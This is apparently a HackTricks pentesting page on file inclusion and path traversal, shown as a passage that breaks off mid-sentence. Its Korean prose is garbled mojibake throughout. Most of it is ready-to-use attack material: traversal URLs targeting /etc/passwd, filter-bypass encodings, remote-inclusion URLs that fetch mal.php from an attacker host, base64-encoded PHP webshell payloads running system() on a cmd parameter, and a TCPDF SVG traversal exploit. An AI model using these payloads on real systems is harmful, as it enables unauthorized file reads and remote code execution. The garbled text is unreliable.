File Inclusion/Path traversal
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
File Inclusion
Remote File Inclusion (RFI): ํ์ผ์ด ์๊ฒฉ ์๋ฒ์์ ๋ก๋๋ฉ๋๋ค (์ฅ์ : ์ฝ๋๋ฅผ ์์ฑํ๋ฉด ์๋ฒ๊ฐ ์ด๋ฅผ ์คํํฉ๋๋ค). php์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋นํ์ฑํ๋์ด ์์ต๋๋ค (allow_url_include).
Local File Inclusion (LFI): ์๋ฒ๊ฐ ๋ก์ปฌ ํ์ผ์ ๋ก๋ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ฌ์ฉ์๊ฐ ์๋ฒ๊ฐ ๋ก๋ํ ํ์ผ์ ์ด๋ค ์์ผ๋ก๋ ์ ์ดํ ์ ์์ ๋ ๋ฐ์ํฉ๋๋ค.
์ทจ์ฝํ PHP functions: require, require_once, include, include_once
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํ ํฅ๋ฏธ๋ก์ด ๋๊ตฌ: https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
์ฌ๋ฌ *nix LFI ๋ชฉ๋ก์ ๊ฒฐํฉํ๊ณ ๊ฒฝ๋ก๋ฅผ ์ถ๊ฐํ์ฌ ์ด ๋ชฉ๋ก์ ๋ง๋ค์์ต๋๋ค:
๋ํ /์ \๋ก ๋ฐ๊ฟ๋ณด์ธ์
๋ํ ../../../../../๋ฅผ ์ถ๊ฐํด ๋ณด์ธ์
์ทจ์ฝ์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด ์ฌ๋ฌ ๊ธฐ๋ฒ์ ์ฌ์ฉํด /etc/password ํ์ผ์ ์ฐพ๋ ๋ชฉ๋ก์ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค
Windows
์ฌ๋ฌ wordlists์ ๋ณํฉ:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
๋ํ /์ \๋ก ๋ฐ๊ฟ๋ณด์ธ์
๋ํ C:/๋ฅผ ์ ๊ฑฐํ๊ณ ../../../../../๋ฅผ ์ถ๊ฐํด ๋ณด์ธ์
์ทจ์ฝ์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํ๊ธฐ ์ํด ์ฌ๋ฌ ๊ธฐ๋ฒ์ ์ฌ์ฉํด /boot.ini ํ์ผ์ ์ฐพ๋ ๋ชฉ๋ก์ ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค
OS X
Linux์ LFI ๋ชฉ๋ก์ ํ์ธํ์ธ์.
Basic LFI and bypasses
๋ชจ๋ ์์ ๋ Local File Inclusion์ ๊ดํ ๊ฒ์ด์ง๋ง Remote File Inclusion์๋ ์ ์ฉ๋ ์ ์์ต๋๋ค (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences๊ฐ ๋น์ฌ๊ท์ ์ผ๋ก ์ ๊ฑฐ๋จ
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
์ ๊ณต๋ ๋ฌธ์์ด ๋์ ์ถ๊ฐ ๋ฌธ์๋ฅผ ๋ง๋ถ์ด๋ ๋์์ Bypass (bypass of: $_GET[โparamโ].โphpโ)
http://example.com/index.php?page=../../../etc/passwd%00
์ด๋ PHP 5.4๋ถํฐ ํด๊ฒฐ๋์์ต๋๋ค
์ธ์ฝ๋ฉ
๋นํ์ค ์ธ์ฝ๋ฉ(์: double URL encode ๋ฑ)์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into $pdf->writeHTML()/Html2Pdf::writeHTML(), you can often exfiltrate local files that the web server account can read.
- Fingerprint the renderer: ์์ฑ๋ ๋ชจ๋ PDF๋
Producerํ๋(์:TCPDF 6.8.2)๋ฅผ ํฌํจํฉ๋๋ค. ์ ํํ ๋น๋๋ฅผ ์๋ฉด ์ด๋ค ๊ฒฝ๋ก ํํฐ๊ฐ ์กด์ฌํ๋์ง, URL ๋์ฝ๋ฉ์ด ๊ฒ์ฆ ์ ์ ์ํ๋๋์ง ์ ์ ์์ต๋๋ค. - Inline SVG payloads:
TCPDF::startSVGElementHandler()๋urldecode()๋ฅผ ์คํํ๊ธฐ ์ ์<image>์์์xlink:href์์ฑ์ ์ฝ์ต๋๋ค. ์ ์ฑ SVG๋ฅผ data URI ์์ ํฌํจํ๋ฉด ๋ง์ HTML ์ ํ๊ธฐ๋ค์ด ํ์ด๋ก๋๋ฅผ ๋ฌด์ํ์ง๋ง TCPDF๋ ์ฌ์ ํ ์ด๋ฅผ ํ์ฑํฉ๋๋ค:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF๋ /๋ก ์์ํ๋ ๊ฒฝ๋ก์ $_SERVER['DOCUMENT_ROOT']๋ฅผ ๋ฏธ๋ฆฌ ๋ถ์ด๊ณ ..๋ ๋์ค์ ํด์ํ๋ฏ๋ก, prepend ํ ๋ฃจํธ๋ฅผ ๋ฒ์ด๋๋ ค๋ฉด ์ ํ์ผ๋ก ../../.. ์ธ๊ทธ๋จผํธ๋ /../../..๋ฅผ ์ฌ์ฉํ์ธ์.
- Encoding to bypass naive filters: Versions โค6.8.2๋ URL์ ๋์ฝ๋ฉํ๊ธฐ ์ ์ ๋ฆฌํฐ๋ด ๋ถ๋ถ ๋ฌธ์์ด
../๋ง ๊ฒ์ฌํฉ๋๋ค. SVG ๋๋ ์์<img src>์์ฑ์..%2f(๋๋..%2F)๋ฅผ ์ ์กํ๋ฉด TCPDF๊ฐurldecode()๋ฅผ ํธ์ถํ ๋ค์์ผ traversal์ธ../์ํ์ค๊ฐ ์ฌ์์ฑ๋๋ฏ๋ก ๊ฒ์ฌ๋ฅผ ์ฐํํ ์ ์์ต๋๋ค. - Double-encoding for multi-stage decoding: ์น ํ๋ ์์ํฌ์์ ํ ๋ฒ, TCPDF์์ ๋ ํ ๋ฒ ์ฌ์ฉ์ ์
๋ ฅ์ ๋์ฝ๋ฉํ๋ ํ๊ฒฝ์ด๋ผ๋ฉด ์ฌ๋์๋ฅผ ์ด์ค ์ธ์ฝ๋ฉ(
%252f)ํ์ธ์. ํ ๋ฒ์ ๋์ฝ๋ฉ์ผ๋ก%2f๊ฐ ๋๊ณ , TCPDF์์์ ๋๋ฒ์งธ ๋์ฝ๋ฉ์ผ๋ก/๊ฐ ๋์ด/..%252f..โ/../../../โฆ์ฒ๋ผ ๋๋ฉฐ ์ด๊ธฐ ํํฐ์../๊ฐ ๋ ธ์ถ๋์ง ์์ต๋๋ค. - HTML
<img>handler:TCPDF::openHTMLTagHandler()๋ ๋์ผํ ์์ ๋ฌธ์ ๋ฒ๊ทธ๋ฅผ ํฌํจํ๊ณ ์์ดsrc="%2f..%252f..%252ftmp%252fsecret.png"๊ฐ์ ์ง์ HTML ํ์ด๋ก๋๋ก ๋ก์ปฌ์์ ์ ๊ทผ ๊ฐ๋ฅํ ๋นํธ๋งต์ ์ฝ์ ์ ์์ต๋๋ค.
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.
From existent folder
๋ฐฑ์๋๊ฐ ํด๋ ๊ฒฝ๋ก๋ฅผ ๊ฒ์ฌํ๊ณ ์์ ์ ์์ต๋๋ค:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
์๋ฒ์ ํ์ผ ์์คํ ๋๋ ํ ๋ฆฌ ํ์
์๋ฒ์ ํ์ผ ์์คํ ์ ํน์ ๊ธฐ๋ฒ์ ์ฌ์ฉํด ํ์ผ๋ฟ ์๋๋ผ ๋๋ ํ ๋ฆฌ๋ ์ฌ๊ท์ ์ผ๋ก ํ์ํ ์ ์์ต๋๋ค. ์ด ๊ณผ์ ์ ๋๋ ํ ๋ฆฌ ๊น์ด๋ฅผ ํ์ ํ๊ณ ํน์ ํด๋์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ์์ ์ ํฌํจํฉ๋๋ค. ์๋๋ ์ด๋ฅผ ๋ฌ์ฑํ๊ธฐ ์ํ ์์ธํ ๋ฐฉ๋ฒ์ ๋๋ค:
- ๋๋ ํ ๋ฆฌ ๊น์ด ํ์
: ํ์ฌ ๋๋ ํ ๋ฆฌ์ ๊น์ด๋
/etc/passwdํ์ผ์ ์ฑ๊ณต์ ์ผ๋ก ๊ฐ์ ธ์์ ํ์ธํฉ๋๋ค (์๋ฒ๊ฐ Linux ๊ธฐ๋ฐ์ธ ๊ฒฝ์ฐ์ ํด๋น). ์์ URL์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑ๋ ์ ์์ผ๋ฉฐ, ๊น์ด๊ฐ ์ธ ๋จ๊ณ์์ ๋ํ๋ ๋๋ค:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- ํด๋ ํ์: ์์ฌ๋๋ ํด๋ ์ด๋ฆ(์:
private)์ URL์ ์ถ๊ฐํ ๋ค์/etc/passwd๋ก ๋ค์ ์ด๋ํฉ๋๋ค. ์ถ๊ฐ๋ ๋๋ ํฐ๋ฆฌ ๋ ๋ฒจ ๋๋ฌธ์ depth๋ฅผ ํ๋ ์ฆ๊ฐ์์ผ์ผ ํฉ๋๋ค:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpret the Outcomes: ์๋ฒ์ ์๋ต์ ํด๋น ํด๋์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ํฉ๋๋ค:
- ์ค๋ฅ / ์ถ๋ ฅ ์์: ํด๋
private๋ ์ง์ ๋ ์์น์ ์กด์ฌํ์ง ์์ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. /etc/passwd์ ๋ด์ฉ:privateํด๋์ ์กด์ฌ๊ฐ ํ์ธ๋ฉ๋๋ค.
- ์ฌ๊ท์ ํ์: ๋ฐ๊ฒฌ๋ ํด๋๋ ๋์ผํ ๊ธฐ๋ฒ์ด๋ ๊ธฐ์กด์ Local File Inclusion (LFI) ๋ฐฉ๋ฒ์ ์ฌ์ฉํด ํ์ ๋๋ ํฐ๋ฆฌ๋ ํ์ผ์ ์ถ๊ฐ๋ก ํ์ํ ์ ์์ต๋๋ค.
For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if /var/www/ contains a private directory (assuming the current directory is at a depth of 3), use:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์กฐ์ํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ๋ฐฉ๋ฒ์ด๋ค. ๋ณด์ ์กฐ์น๊ฐ ํ์ผ ๊ฒฝ๋ก ๋์ ์ถ๊ฐ ๋ฌธ์๋ฅผ ๋ถ์ฌ ์ ๊ทผ์ ์ฐจ๋จํ ๋ ์ด๋ฅผ ์ฐํํด ์ ํ๋ ํ์ผ์ ์ ๊ทผํ๋ ๋ฐ ์์ฃผ ์ฐ์ธ๋ค. ๋ชฉํ๋ ๋ณด์ ์กฐ์น๋ก ์ธํด ๋ณ๊ฒฝ๋ ์ดํ์๋ ์ฌ์ ํ ์ํ๋ ํ์ผ์ ๊ฐ๋ฆฌํค๋ ํ์ผ ๊ฒฝ๋ก๋ฅผ ๋ง๋๋ ๊ฒ์ด๋ค.
In PHP์์๋ ํ์ผ ์์คํ ํน์ฑ์ ์ฌ๋ฌ ํํ์ ํ์ผ ๊ฒฝ๋ก๊ฐ ๋์ผํ๊ฒ ์ทจ๊ธ๋ ์ ์๋ค. ์๋ฅผ ๋ค๋ฉด:
/etc/passwd,/etc//passwd,/etc/./passwd, ๊ทธ๋ฆฌ๊ณ/etc/passwd/๋ ๋ชจ๋ ๋์ผํ ๊ฒฝ๋ก๋ก ์ฒ๋ฆฌ๋๋ค.- ๋ง์ง๋ง 6๊ธ์๊ฐ
passwd์ผ ๋/๋ฅผ ๋ง๋ถ์ฌpasswd/๋ก ๋ง๋ค์ด๋ ๋์ ํ์ผ์ ๋ณ๊ฒฝ๋์ง ์๋๋ค. - ๋ง์ฐฌ๊ฐ์ง๋ก ํ์ผ ๊ฒฝ๋ก์
.php๊ฐ ๋ถ๋ ๊ฒฝ์ฐ(์:shellcode.php) ๋์/.๋ฅผ ์ถ๊ฐํด๋ ์ ๊ทผ๋๋ ํ์ผ์ ๋ฐ๋์ง ์๋๋ค.
๋ค์ ์์๋ค์ Path truncation์ ์ด์ฉํด /etc/passwd์ ์ ๊ทผํ๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋ค. /etc/passwd๋ ๋ฏผ๊ฐํ ๋ด์ฉ(์ฌ์ฉ์ ๊ณ์ ์ ๋ณด)์ ๋ด๊ณ ์์ด ํํ ํ๊น์ด ๋๋ค:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
์ด๋ฌํ ์๋๋ฆฌ์ค์์๋ ํ์ํ traversals ์๊ฐ ์ฝ 2027๊ฐ ์ ๋์ผ ์ ์์ง๋ง, ์ด ์ซ์๋ ์๋ฒ ๊ตฌ์ฑ์ ๋ฐ๋ผ ๋ฌ๋ผ์ง ์ ์์ต๋๋ค.
- Using Dot Segments and Additional Characters:
../์ํ์ค์ ์ถ๊ฐ dot segments ๋ฐ ๋ฌธ์๋ค์ ๊ฒฐํฉํ์ฌ ํ์ผ ์์คํ ์ ํ์ํ ์ ์์ผ๋ฉฐ, ์๋ฒ๊ฐ ๋ง๋ถ์ธ ๋ฌธ์์ด์ ๋ฌด์ํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค. - Determining the Required Number of Traversals: ์๋์ ์ค๋ฅ๋ฅผ ํตํด ๋ฃจํธ ๋๋ ํฐ๋ฆฌ๋ก ์ด๋ํ ๋ค์
/etc/passwd์ ๋๋ฌํ๋ ๋ฐ ํ์ํ ์ ํํ../์ํ์ค ์๋ฅผ ์ฐพ์,.php๊ฐ์ ๋ง๋ถ์ฌ์ง ๋ฌธ์์ด์ ๋ฌด๋ ฅํํ๋ฉด์๋ ์ํ๋ ๊ฒฝ๋ก(/etc/passwd)๋ ์ ์ง๋๋๋ก ํ ์ ์์ต๋๋ค. - Starting with a Fake Directory: ๊ฒฝ๋ก๋ฅผ ์กด์ฌํ์ง ์๋ ๋๋ ํฐ๋ฆฌ(์:
a/)๋ก ์์ํ๋ ๊ฒ์ ์ผ๋ฐ์ ์ธ ๊ดํ์ ๋๋ค. ์ด ๊ธฐ๋ฒ์ ์๋ฐฉ ์กฐ์น๋ก ์ฌ์ฉ๋๊ฑฐ๋ ์๋ฒ์ ๊ฒฝ๋ก ํ์ฑ ๋ก์ง ์๊ตฌ์ฌํญ์ ์ถฉ์กฑ์ํค๊ธฐ ์ํด ์ฌ์ฉ๋ฉ๋๋ค.
path truncation techniques๋ฅผ ์ฌ์ฉํ ๋์๋ ์๋ฒ์ ๊ฒฝ๋ก ํ์ฑ ๋์๊ณผ ํ์ผ์์คํ ๊ตฌ์กฐ๋ฅผ ์ดํดํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค. ๊ฐ ์๋๋ฆฌ์ค๋ง๋ค ๋ค๋ฅธ ์ ๊ทผ์ด ํ์ํ ์ ์์ผ๋ฉฐ, ๊ฐ์ฅ ํจ๊ณผ์ ์ธ ๋ฐฉ๋ฒ์ ์ฐพ๊ธฐ ์ํด ํ ์คํธ๊ฐ ์์ฃผ ํ์ํฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ PHP 5.3์์ ์์ ๋์์ต๋๋ค.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ๋นํ์ฑํ๋์ด ์์ต๋๋ค. ๊ทธ ์ด์ ๋ **allow_url_include**๊ฐ **Off.**์ด๊ธฐ ๋๋ฌธ์
๋๋ค. ์๋ํ๋ ค๋ฉด On์ด์ด์ผ ํ๋ฉฐ, ๊ทธ ๊ฒฝ์ฐ ์๋ฒ์ PHP ํ์ผ์ ํฌํจํ์ฌ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
๋ง์ฝ ์ด๋ค ์ด์ ๋ก **allow_url_include**๊ฐ On์ด๊ณ , PHP๊ฐ ์ธ๋ถ ์นํ์ด์ง ์ ๊ทผ์ filteringํ๊ณ ์๋ค๋ฉด, according to this post, ์๋ฅผ ๋ค์ด data protocol๊ณผ base64๋ฅผ ์ฌ์ฉํด b64 PHP ์ฝ๋๋ฅผ ๋์ฝ๋ํ์ฌ RCE๋ฅผ ์ป์ ์ ์์ต๋๋ค:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
์ด์ ์ฝ๋์์, ๋ง์ง๋ง์
+.txt๋ attacker๊ฐ.txt๋ก ๋๋๋ ๋ฌธ์์ด์ ํ์๋ก ํ๊ธฐ ๋๋ฌธ์ ์ถ๊ฐ๋์์ต๋๋ค. ๊ทธ๋์ ๋ฌธ์์ด์ ๊ทธ๋ก ๋๋๋ฉฐ, b64 decode ํ ๊ทธ ๋ถ๋ถ์ ๋จ์ํ junk๋ฅผ ๋ฐํํ๊ณ ์ค์ PHP ์ฝ๋๋ ํฌํจ๋์ด(๋ฐ๋ผ์ ์คํ๋ฉ๋๋ค).
๋ค๋ฅธ ์์ php:// ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python ๋ฃจํธ ์์
๋ค์๊ณผ ๊ฐ์ Python ์ฝ๋์์๋:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
์ฌ์ฉ์๊ฐ absolute path๋ฅผ **file_name**์ ์ ๋ฌํ๋ฉด, ์ด์ ๊ฒฝ๋ก๋ ๋จ์ํ ์ ๊ฑฐ๋ฉ๋๋ค:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
์ด๊ฒ์ the docs์ ๋ฐ๋ฅธ ์๋๋ ๋์์ ๋๋ค:
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
Java ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก
๋ณด์ด๋ ๋ฐ์ ๋ฐ๋ฅด๋ฉด, Java์์ Path Traversal์ด ์๊ณ ํ์ผ ๋์ ๋๋ ํฐ๋ฆฌ๋ฅผ ์์ฒญํ๋ฉด, ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก์ด ๋ฐํ๋ฉ๋๋ค. ๋ค๋ฅธ ์ธ์ด์์๋(๋ด๊ฐ ์๊ธฐ๋ก๋) ์ด๋ฐ ์ผ์ด ๋ฐ์ํ์ง ์์ต๋๋ค.
์์ 25๊ฐ ํ๋ผ๋ฏธํฐ
๋ค์์ local file inclusion (LFI) ์ทจ์ฝ์ ์ ๋ ธ์ถ๋ ์ ์๋ ์์ 25๊ฐ ํ๋ผ๋ฏธํฐ ๋ชฉ๋ก์ ๋๋ค (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI: PHP wrappers ๋ฐ ํ๋กํ ์ฝ ์ฌ์ฉ
php://filter
PHP filters๋ ์ฝ๊ฑฐ๋ ์ฐ๊ธฐ ์ ์ ๋ฐ์ดํฐ์ ๋ํด ๊ธฐ๋ณธ์ ์ธ ์์ ์์ ์ ์ํํ ์ ์๊ฒ ํด์ค๋๋ค. ํํฐ๋ 5๊ฐ์ง ๋ฒ์ฃผ๋ก ๋๋ฉ๋๋ค:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: ๋ฐ์ดํฐ์์ ํ๊ทธ ์ ๊ฑฐ ("<"์">"๋ฌธ์ ์ฌ์ด์ ๋ชจ๋ ๋ด์ฉ)- ์ด ํํฐ๋ ์ต์ PHP ๋ฒ์ ์์๋ ์ฌ๋ผ์ก์ต๋๋ค
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: ๋ค๋ฅธ ์ธ์ฝ๋ฉ์ผ๋ก ๋ณํ(convert.iconv.<input_enc>.<output_enc>). ์ง์๋๋ ๋ชจ๋ ์ธ์ฝ๋ฉ์ ๋ชฉ๋ก์ ์ป์ผ๋ ค๋ฉด ์ฝ์์์iconv -l์ ์คํํ์ธ์.
Warning
convert.iconv.*๋ณํ ํํฐ๋ฅผ ์ ์ฉํ๋ฉด ์์์ ํ ์คํธ๋ฅผ ์์ฑํ ์ ์์ผ๋ฉฐ, ์ด๋ ์์์ ํ ์คํธ๋ฅผ ์์ฑํ๊ฑฐ๋ include ๊ฐ์ ํจ์๊ฐ ์์์ ํ ์คํธ๋ฅผ ์ฒ๋ฆฌํ๋๋ก ๋ง๋๋ ๋ฐ ์ ์ฉํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ LFI2RCE via php filters๋ฅผ ํ์ธํ์ธ์.
- Compression Filters
zlib.deflate: ์ฝํ ์ธ ๋ฅผ ์์ถํจ (๋ง์ ์ ๋ณด๋ฅผ exfiltratingํ ๋ ์ ์ฉ)zlib.inflate: ๋ฐ์ดํฐ๋ฅผ ์์ถ ํด์ ํจ- Encryption Filters
mcrypt.*: ๋ ์ด์ ์ฌ์ฉ๋์ง ์์mdecrypt.*: ๋ ์ด์ ์ฌ์ฉ๋์ง ์์- Other Filters
- PHP์์
var_dump(stream_get_filters());๋ฅผ ์คํํ๋ฉด ๋ช ๊ฐ์ง ์์์น ๋ชปํ ํํฐ๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค: consumeddechunk: HTTP chunked encoding์ ์ญ๋ณํconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ยฃhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
โphp://filterโ ๋ถ๋ถ์ ๋์๋ฌธ์๋ฅผ ๊ตฌ๋ถํ์ง ์์ต๋๋ค
php filters๋ฅผ oracle๋ก ์ฌ์ฉํด ์์์ ํ์ผ ์ฝ๊ธฐ
In this post๋ ์๋ฒ๋ก๋ถํฐ ์ถ๋ ฅ์ด ๋ฐํ๋์ง ์์๋ ๋ก์ปฌ ํ์ผ์ ์ฝ๋ ๊ธฐ์ ์ ์ ์ํฉ๋๋ค. ์ด ๊ธฐ๋ฒ์ boolean exfiltration of the file (char by char) using php filters๋ฅผ oracle๋ก ์ฌ์ฉํ๋ ๊ฒ์ ๊ธฐ๋ฐํฉ๋๋ค. ์ด๋ php filters๊ฐ ํ ์คํธ๋ฅผ ์ถฉ๋ถํ ํฌ๊ฒ ๋ง๋ค์ด php๊ฐ ์์ธ๋ฅผ ๋ฐ์์ํค๊ฒ ํ ์ ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
์๋ฌธ ํฌ์คํธ์์ ๊ธฐ๋ฒ์ ๋ํ ์์ธํ ์ค๋ช ์ ๋ณผ ์ ์์ง๋ง, ์ฌ๊ธฐ์๋ ๊ฐ๋จํ ์์ฝ์ ์ ๊ณตํฉ๋๋ค:
- Use the codec
UCS-4LEto leave leading character of the text at the begging and make the size of string increases exponentially. - ์ด๋ ์ด๊ธฐ ๋ฌธ์๊ฐ ์ฌ๋ฐ๋ฅด๊ฒ ์ถ์ธก๋์์ ๋ php๊ฐ ์ค๋ฅ๋ฅผ ๋ฐ์์ํฌ ๋งํผ ๋งค์ฐ ํฐ ํ ์คํธ๋ฅผ ์์ฑํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- ์ด ํํฐ์ ์ด์ ํํฐ(๋ฐ ์ถ์ธก๋ ๋ฌธ์์ ๋ฐ๋ผ ์ฌ์ฉํ๋ ๋ค๋ฅธ ํํฐ)๋ฅผ ์กฐํฉํ๋ฉด, ์ถฉ๋ถํ ๋ณํ์ ์ ์ฉํ์ ๋ ๊ทธ ๋ฌธ์๊ฐ hexadecimal ๋ฌธ์๊ฐ ์๋๊ฒ ๋๋ ์์ ์ ๊ด์ฐฐํ์ฌ ํ ์คํธ์ ์ฒซ ๋ฌธ์๋ฅผ ์ถ์ธกํ ์ ์์ต๋๋ค. ๋ง์ฝ hex๋ผ๋ฉด dechunk๊ฐ ์ญ์ ํ์ง ์๊ณ ์ด๊ธฐ ํญ๋ฐ์ด php ์ค๋ฅ๋ฅผ ์ ๋ฐํฉ๋๋ค.
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
